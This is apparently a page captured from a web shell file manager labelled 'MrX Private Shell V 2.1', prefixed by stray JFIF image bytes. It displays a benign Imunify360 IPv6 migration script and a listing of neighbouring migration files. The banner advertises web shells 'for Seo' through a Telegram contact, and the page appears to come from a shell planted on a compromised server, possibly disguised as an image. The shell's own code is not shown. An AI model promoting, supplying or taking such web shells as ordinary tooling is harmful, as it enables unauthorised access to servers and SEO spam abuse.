����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
import logging
import peewee as pw
from defence360agent.utils.validate import IP, NumericIPVersion
from im360.utils.net import unpack_ip_network
logger = logging.getLogger(__name__)
def migrate(migrator, database, fake=False, **kwargs):
"""Should fix all IPv6 addresses in the database.
wrong record {"ip": "2602:fb54:3b6::"}
correct record {"ip": "2602:fb54:3b6::/64"}
"""
if fake:
# Nothing to do in fake mode, it used to prepare models to following
# migrations
return
try:
IPList = migrator.orm["iplist"]
with database.atomic():
for ip_obj in (
IPList.select()
.where(IPList.version == NumericIPVersion[IP.V6])
.dicts()
):
try:
net = unpack_ip_network(
ip_obj["network_address"],
ip_obj["netmask"],
ip_obj["version"],
)
ip_str = IP.ip_net_to_string(net)
# If ip format already <ip>/<netmask> skip it
if ip_str == ip_obj["ip"]:
continue
IPList.update(ip=ip_str).where(
# from table:
# primary_key = CompositeKey(
# "network_address", "netmask", "version", "listname"
# )
(IPList.network_address == ip_obj["network_address"])
& (IPList.netmask == ip_obj["netmask"])
& (IPList.version == ip_obj["version"])
& (IPList.listname == ip_obj["listname"])
).execute()
except ValueError as e:
logger.warning(
"Error processing IP %s with netmask %s: %s",
ip_obj["ip"],
ip_obj.get("netmask", "N/A"),
str(e),
)
except pw.IntegrityError as e:
logger.warning("Error updating IP: %s", e)
except Exception as e:
logger.error(
"Something wrong happened in migration 005_ip_network_v6_fix %r",
e,
)
def rollback(migrator, database, fake=False, **kwargs):
"""Write your rollback migrations here."""
pass
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| __pycache__ | Folder | 0755 |
|
|
| 000_noop_migration.py | File | 203 B | 0644 |
|
| 001_whmapi1_set_importance_im360.py | File | 757 B | 0644 |
|
| 002_move_resident_tables_into_separate_db.py | File | 7.8 KB | 0644 |
|
| 003_move_remote_ipsetlist_tables_into_separate_db.py | File | 2.02 KB | 0644 |
|
| 004_ips_as_packed_network.py | File | 2.01 KB | 0644 |
|
| 005_ip_network_v6_fix.py | File | 2.37 KB | 0644 |
|
| 006_remove_waf_configurator_cron.py | File | 680 B | 0644 |
|
| 007_add_mask_to_ip_ingnored_port.py | File | 4.49 KB | 0644 |
|
| 008_index_for_iplistrecord_iplist_id.py | File | 258 B | 0644 |
|
| __init__.py | File | 0 B | 0644 |
|